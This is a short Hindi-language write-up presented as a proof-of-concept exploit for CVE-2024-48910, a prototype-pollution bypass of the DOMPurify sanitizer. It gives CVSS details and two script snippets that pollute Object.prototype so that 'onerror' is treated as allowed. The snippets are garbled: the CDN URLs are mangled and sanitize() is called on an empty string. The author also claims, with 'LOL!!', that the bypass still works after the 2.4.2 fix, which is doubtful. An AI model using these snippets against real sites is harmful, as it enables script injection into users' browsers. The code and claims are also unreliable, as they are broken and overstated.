
CVE-2024-48910 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो DOMPurify XSS सैनिटाइज़र के प्रोटोटाइप पोल्यूशन बाईपास को प्रदर्शित करता है, ताकि क्राफ्टेड HTML एट्रिब्यूट्स के माध्यम से मनमाना JavaScript निष्पादित किया जा सके।
CVE-2024-48910 DOMPurify, जो HTML, MathML और SVG के लिए एक केवल DOM पर काम करने वाला, अत्यंत तेज़, अत्यंत सहिष्णु XSS सैनिटाइज़र है, prototype pollution के प्रति संवेदनशील पाया गया (CVE-2024-48910)। यह भेद्यता संस्करण 2.4.2 में खोजी और ठीक की गई थी, जिसकी प्रारंभिक घोषणा 31 अक्टूबर, 2024 को की गई थी।
DOMPurify में prototype pollution भेद्यता हमलावरों को ऑब्जेक्ट प्रोटोटाइप विशेषताओं के साथ छेड़छाड़ करने की अनुमति दे सकती है, जिससे संभावित रूप से सुरक्षा बाईपास और एप्लिकेशन व्यवहार में अनधिकृत संशोधन हो सकते हैं। उच्च CVSS स्कोर सिस्टम सुरक्षा पर महत्वपूर्ण संभावित प्रभाव का संकेत देता है, विशेष रूप से डेटा गोपनीयता और अखंडता को प्रभावित करता है।
इस भेद्यता को CVSS v3.1 आधार स्कोर 9.1 (CRITICAL) दिया गया है, जिसका वेक्टर स्ट्रिंग CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N है। यह दर्शाता है कि इस भेद्यता का दूरस्थ रूप से कम हमला जटिलता के साथ शोषण किया जा सकता है, इसके लिए किसी विशेषाधिकार या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती है, और इसके परिणामस्वरूप गोपनीयता और अखंडता दोनों पर उच्च प्रभाव पड़ सकता है, हालांकि उपलब्धता प्रभावित नहीं होती है।
चेंज लॉग्स से, आप देख सकते हैं कि .__proto__. से संबंधित एक परीक्षण मामला जोड़ा गया था, जो यह संकेत देता है कि यह एक प्रोटोटाइप इंजेक्शन है।

अगली पंक्ति जो जोड़ी गई थी, जिसका अर्थ है कि पहले यह किसी भी truthy चीज़ के लिए true का मूल्यांकन कर रही थी।
XSS सुरक्षा बाईपास हो गई - onerror अब "अनुमत" है
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
2.4.2 में अपग्रेड करने के बावजूद, मैं फिर भी alert() को प्रदर्शित करवा सकता हूँ... आपको बस
Object.prototype.hasOwnProperty = () => true; सेट करना होगा, सुरक्षा को बायपास करने के लिए LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>